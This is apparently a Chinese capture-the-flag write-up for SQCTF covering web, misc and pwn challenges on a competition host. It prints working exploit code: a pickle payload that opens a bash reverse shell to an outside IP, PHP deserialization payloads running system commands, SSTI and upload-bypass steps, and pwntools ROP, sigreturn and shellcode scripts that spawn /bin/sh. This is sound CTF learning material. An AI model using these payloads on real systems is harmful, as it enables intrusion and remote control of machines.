1 2 3 4 5 6 7 8 9 10 <?php class Secret { public $key ; public function __construct ($key ) { $this ->key = $key ; } } $obj = new Secret ("SQCTF" );echo serialize ($obj );
白月光 一个SSTI,用fenjing直接出
1 python3 -m fenjing crack -u http://challenge.qsnctf.com:31268/ --inputs name --method POST
RceMe GET:?com=nl /*
Through 用双写绕过路径过滤
开发人员的小失误 目录爆破
访问即可获得flag
ggoodd 1 2 3 4 5 6 7 8 import requests url = 'http://challenge.qsnctf.com:32116/' params = {'json' : '{"x":"cba"}' } data = {'id' : 'abc' } response = requests.post (url, params=params, data=data) print (response.text)
千查万别 直接读环境变量/proc/1/envirom
pickle 简单的pickle,直接反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleimport base64class Exploit (object ): def __reduce__ (self ): return (eval , ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/IP/23333 0>&1"')""" ,)) payload = pickle.dumps(Exploit(), protocol=0 ) b64_payload = base64.b64encode(payload).decode() print (f"最终Payload: {b64_payload} " )
eeaassyy 手动打开开发者工具
自私的小s 真正的入口在cookie处
简单的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Genshin_impact { private $value ; public function __construct ($v ) { $this ->value = $v ; } } $cmd = "system('cat /flag');" ; $obj = new Genshin_impact ($cmd );$payload = serialize ($obj );$payload = str_replace ( [ 's:20:"' ."\0Genshin_impact\0value" .'";' , // 原始格式 '%' ], [ 'S:20:"\00Genshin_impact\00value";' , // 转换为大写S的十六进制表示 'nonono' // 替换可能存在的%符号 ], $payload ); echo urlencode ($payload );
Look for the homepage F12
抓个包即可看到challenge.php
$verify_code === $code &&$pass1 === $flag
直接用数组绕过
parse_str
存在变量覆盖漏洞,使fly
等于value3
参数的md5值即可
最终payload
GET:verify[]=1&pass1[]=2&pass2=welcome&value3=1
POST:value1=fly=c4ca4238a0b923820dcc509a6f75849b
Are you from SQNU? 传参见下图
伪装 伪造cookie就行
图片展示功能 前面两个上传绕过方法都不行了
直接上传个.htaccess
配置文件,配置文件里面意思是在当前目录下,所有文件都会被解析成php代码执行
然后再上传个1.phtm
文件上去
Misc 可否许我再少年
Welcome_Sign_in(一血) 找公众号要就行
ez_music1
love.host 用foremost
分解图片,flag在压缩包里面
阿尼亚 试了半天的图片隐写,结果在一个网站直接出flag。。。
piet 对应参考文章出的:https://blog.csdn.net/MarkRao/article/details/121796707
工具下载:https://www.bertnase.de/npiet/npiet-1.3a-win32.zip
1 2 .\npiet.exe -tpic .\1 .png SQCTF{Hello world!}
YuanShen_Start! 第一个压缩包密码SQCTF{yuan_shen_1s_a_good_game!}
用上面得到的密码解压原神启动.zip
翻看文档内容移开白色图片得到第二个密码:SQCTF{f968566s-3fb6-4bfd-885a-d9e102528784}
把docx
后缀改为zip
就能看到个压缩包
把image1.png
用010打开
得到第三个密码SQCTF{6bb238u7r-6574-a7e6-0etg-7gsdycvdv27}
用图片里面的密码解压img.zip
然后再用文档里面的密码解压text.txt
获得真正的flag
老君山的落日好美 爆破压缩包获得密码1352681
看到图片右下角有明显FFT隐写的变形痕迹
PuzzleSolver直接出
王者荣耀真是太好玩了 根据图片里面的人在王者搜
然后在百度地图搜辉煌烟草
就能看到flag
这是什么加密(一血) 一眼XY 2024的base2048秒了
https://nerdmosis.com/tools/encode-and-decode-base2048
小巷人家 压缩包名为寺庙名
,直接谷歌搜图
flag为SQCTF{西园寺}
FFT IFFT 一道基于傅里叶变换域处理的题目,编写脚本恢复原来的视频
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import os import cv2 import struct import numpy as np def reconstruct_video (): os.makedirs ('reconstructed_frames' , exist_ok=True) with open ('r' , 'rb' ) as f: data = f.read () num_frames = len (data) min_max_values = [struct.unpack ('!ff' , data[i*8 :(i+1 )*8 ]) for i in range (num_frames)] for i in range (num_frames): filename = f"{i+1:03d}.png" m_path = os.path.join ('m' , filename) m_img = cv2.imread (m_path, cv2.IMREAD_GRAYSCALE) if m_img is None: print (f"错误:无法读取{m_path}" ) continue min_val, max_val = min_max_values[i] m_float = m_img.astype (np.float32) log_amplitude = (m_float / 255.0 ) * (max_val - min_val) + min_val amplitude = np.exp (log_amplitude) p_path = os.path.join ('p' , filename) p_img = cv2.imread (p_path, cv2.IMREAD_GRAYSCALE) if p_img is None: print (f"错误:无法读取{p_path}" ) continue p_float = p_img.astype (np.float32) phase = (p_float / 255.0 ) * 2 * np.pi - np.pi fft_complex = amplitude * np.exp (1 j * phase) img_inv = np.fft.ifft2 (np.fft.ifftshift (fft_complex)) img_inv = np.real (img_inv) img_inv = np.clip (img_inv, 0 , 255 ).astype (np.uint8) cv2.imwrite (f'reconstructed_frames/{filename}' , img_inv) if __name__ == '__main__' : reconstruct_video ()
因为我没有直接安装ffmpeg,所以手动执行视频重建(其实也可以不用,上面恢复出来的flag其实很明显了)
成功恢复视频
flag为:SQCTF{HELLO}
PWN 浅红欺醉粉,肯信有江梅
领取你的小猫娘 只要输入超过76个字符即可获得shell
被酒莫惊春睡重 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) filename = "./pwn" io = remote('challenge.qsnctf.com' ,32349 ) rop = 0x00000000004011e0 syscall = 0x4011EC io.sendlineafter("请输入你的名字:" ,"carl" ) io.recvuntil(", " ) stack = int (io.recv(14 ),16 ) print ("stack:" ,hex (stack))io.sendlineafter("(1-3):" ,"1" ) payload = flat([b'/bin/sh\x00' ,cyclic(0x20 ),rop,0 ,0 ,stack,0x3b ,syscall]) io.sendlineafter("字符):" ,payload) io.interactive()
当时只道是寻常 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(log_level='debug' ,arch='amd64' ,os='linux' ) filename = "./pwn01" io = remote('challenge.qsnctf.com' ,30299 ) pop_rsi_rax_ret = 0x401049 pop_rax_ret = 0x40104A ret = 0x40104B bin_sh = 0x40203A syscall = 0x401045 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = bin_sh frame.rsi = 0x0 frame.rdx = 0x0 frame.rip = 0x401045 frame.rsp = 0x402508 payload = flat([0x402300 ,pop_rax_ret,0xf ,syscall,frame]) io.sendafter("extraordinary.\n" ,payload) io.interactive()
赌书消得泼茶香 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *import base64context(log_level='debug' ,arch='amd64' ,os='linux' ) filename = "./pwn02" io = remote('challenge.qsnctf.com' ,30779 ) backdoor = 0x401422 payload = flat([cyclic(0x68 ),backdoor,0x0 ,0x0 ]) io.sendlineafter("now?\n" ,base64.b64encode(payload)) io.interactive()
江南无所有,聊赠一枝春 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(log_level='debug' ,arch='amd64' ,os='linux' ) filename = "./gift" io = remote('challenge.qsnctf.com' ,31309 ) backdoor = 0x4011BB payload = flat([cyclic(72 ),backdoor]) io.sendlineafter("Do you want my gift?\n" ,payload) io.interactive()
铜雀春深锁二乔 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) filename = "./pwn03" io = process(filename) payload = "%11$p-%13$p-%15$p-%17$p" io.sendafter("sun.\n" ,payload) canary = int (io.recv(18 ),16 ) io.recvuntil("-" ) libc_base = int (io.recv(14 ),16 ) - 0x29d90 io.recvuntil("-" ) pie = int (io.recv(14 ),16 ) - 0x125B io.recvuntil("-" ) stack = int (io.recv(14 ),16 ) - 0x148 print ("canary:" ,hex (canary))print ("libc_base:" ,hex (libc_base))print ("pie:" ,hex (pie))print ("stack:" ,hex (stack))leave_ret = pie + 0x1259 rdi = pie + 0x0000000000001245 system_addr = pie + 0x1253 pause() payload = flat(["aaaabbbb" ,canary,stack+0x30 ,pie+0x12b2 ]) io.send(payload) payload = flat([stack+0x10 ,system_addr,"/bin/sh\x00" ]) io.sendafter("sun.\n" ,payload) pause() payload = flat(["aaaabbbb" ,canary,stack+0x30 ,rdi]) io.send(payload) io.interactive()
我觉君非池中物,咫尺蛟龙云雨 1 2 3 4 5 from pwn import *p = process('./pwn' ) payload=b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" p.send(payload) p.interactive()
萧萧黄叶闭疏窗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) filename = "./bad" io = remote('challenge.qsnctf.com' ,30296 ) elf = ELF(filename) shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(72 ,b'\x90' ) + p64(0x4040A0 ) io.sendafter("What do you want to do ?\n" ,payload) io.interactive()
借的东风破金锁 1 2 3 4 5 from pwn import *p = remote('challenge.qsnctf.com' ,31425 ) payload = p64(0x53514E55435446 ) + b'\x00' * 8 p.sendline(payload) p.interactive()